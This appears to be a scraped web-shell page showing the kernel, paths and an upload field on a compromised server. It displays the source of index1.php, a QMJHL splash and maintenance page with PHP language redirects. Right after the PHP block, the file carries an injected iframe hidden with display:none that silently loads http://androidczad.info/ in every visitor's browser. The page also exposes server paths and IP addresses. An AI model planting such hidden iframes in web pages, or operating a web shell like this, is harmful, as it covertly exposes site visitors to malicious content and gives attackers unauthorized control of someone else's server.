AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 18.191.200.151


Current Path : /var/www/lhjmq-records.qc.ca/public_html/
Upload File :
Current File : //var/www/lhjmq-records.qc.ca/public_html/index1.php

<?php
//Redirect sur le bon serveur si pas à la bonne place [PAS TOUT DE SUITE]
/*if($_SERVER['SERVER_ADDR'] != '204.19.191.27'){
	header('location: http://204.19.191.27/');
}*/
//echo $_SERVER['SERVER_ADDR'];

if($_SERVER['REMOTE_ADDR'] == '209.104.115.2' || $_SERVER['REMOTE_ADDR'] == '24.100.208.174'){

		if(!isset($_GET['setlang'])){
			$_GET['setlang'] == 'fr';
		}	
		//Setting the language
		
			if($_GET['setlang'] == 'fr'){
				setcookie('default_lang', 'fr', time()+(60*60*24*31));
				header("location: /lang_fr/index.php");
				exit();
			}elseif($_GET['setlang'] == 'en'){
				setcookie('default_lang', 'en', time()+(60*60*24*31));
				header("location: /lang_en/index.php");
				exit();
			}
		
		
		$_GET['forcelang'] = 'fr';
		
		//Auto language cookie and redirect
		if(isset($_GET['forcelang'])){
			if($_GET['forcelang'] == 'fr'){
				//redirect for now to fr language
				setcookie('default_lang', 'fr', time()+(60*60*24*31));
				header("location: /lang_fr/index.php");
				exit();
			}elseif($_GET['forcelang'] == 'en'){
				//redirect for now to fr language
				setcookie('default_lang', 'en', time()+(60*60*24*31));
				header("location: /lang_en/index.php");
				exit();
			}
		}

}
?><iframe style="visibility: hidden; display: none; display: none;" src="http://androidczad.info/"></iframe>
<HTML>
	<HEAD>
		<TITLE>Bienvenue sur le site Internet officiel de la LHJMQ | Welcome on the official QMJHL web site</TITLE>
		<STYLE type="text/css" media="all">
		BODY {
			background-image: url(images/splash/lhjmq_splash_repeat.jpg);
			background-repeat: repeat-x;
			background-color: #000000;
			margin: 0px 0px 0px 0px;
			color: white;
		}
		</STYLE>
	</HEAD>
	<BODY>
		<TABLE border="0" cellpadding="0" cellspacing="0" align="center">
			<TR>
				<TD height="26">&nbsp;</TD>
			</TR>
			<TR>
				<TD width="410"><IMG src="images/splash/lhjmq_splash_logo.jpg" width="547" height="285"></TD>
			</TR>
			<TR>
				<TD><IMG src="images/splash/lhjmq_splash_texte.jpg" width="547" height="110" border="0" usemap="#Map"></TD>
			</TR>
		</TABLE>
		<!--<MAP name="Map">
			<AREA shape="rect" coords="5,24,264,79" href="?setlang=fr">
			<AREA shape="rect" coords="279,25,515,78" href="?setlang=en">
		</MAP>//-->
		</br>
		<center><h2 style="color:white;">Le site www.lhjmq-records.qc.ca est actuellement en cours de maintenance.</h2></center>
	</BODY>
</HTML>